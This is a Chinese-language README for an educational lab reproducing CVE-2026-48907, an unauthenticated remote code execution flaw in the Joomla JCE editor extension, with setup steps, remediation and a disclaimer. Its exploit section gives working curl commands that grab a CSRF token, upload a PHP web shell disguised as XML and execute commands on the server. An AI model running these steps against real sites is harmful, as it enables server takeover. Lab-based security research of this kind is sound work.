CVE-2026-48907 — Joomla JCE 未认证远程代码执行实验环境

PSsec 针对 CVE-2026-48907 的教育性安全研究实验环境。

概述

CVE-2026-48907 是 JCE（Joomla Content Editor） 中的一个严重（CVSS 10.0）未认证远程代码执行漏洞。JCE 是 Joomla 安装最广泛的编辑器扩展，影响所有 ≤ 2.9.99.4 版本。

profiles.import 端点接受文件上传且无需任何认证。攻击者可以上传一个伪装成 XML 配置文件的恶意 PHP 文件，该文件会被写入服务器的 tmp/ 目录，并通过 HTTP 直接执行——无需任何凭据。

实验环境搭建

前提条件

• Docker + Docker Compose
• Kali Linux（或任何 Linux 主机）

1. 启动易受攻击的环境

docker compose up -d

2. 完成 Joomla 安装程序

在浏览器中打开 http://localhost:8080，并使用以下凭据完成设置向导：

3. 安装易受攻击的 JCE 扩展

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

然后在 Joomla 管理后台 → 系统 → 扩展 → 安装 → 上传该 ZIP 文件。

漏洞利用

4. 提取 CSRF 令牌和会话 Cookie

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. 通过未认证的配置导入上传 PHP 网页后门

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. 验证远程代码执行

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

预期输出：uid=33(www-data) gid=33(www-data)

文件列表

修复方案

立即将 JCE 更新到 2.9.99.5 或更高版本。

官方供应商公告及面向旧版 Joomla 的免费补丁： JCE 安全更新 — joomlacontenteditor.net

致谢

• 漏洞利用工具参考：ynsmroztas 的 JoomlaSniper
• 漏洞由 mySites.guru 的 Phil Taylor 在野外发现
• CISA KEV 列表收录日期：2026 年 6 月 16 日

免责声明

本仓库严格用于教育和授权安全研究目的。

仅允许针对您拥有或已获得明确书面授权的系统进行测试。未经授权将此材料用于您不拥有的系统是非法且不道德的。作者及 Pansophical OU 不对滥用本内容承担任何责任。

本实验环境故意保留漏洞。请勿将其暴露于互联网或任何不可信网络。

由 PSsec 提供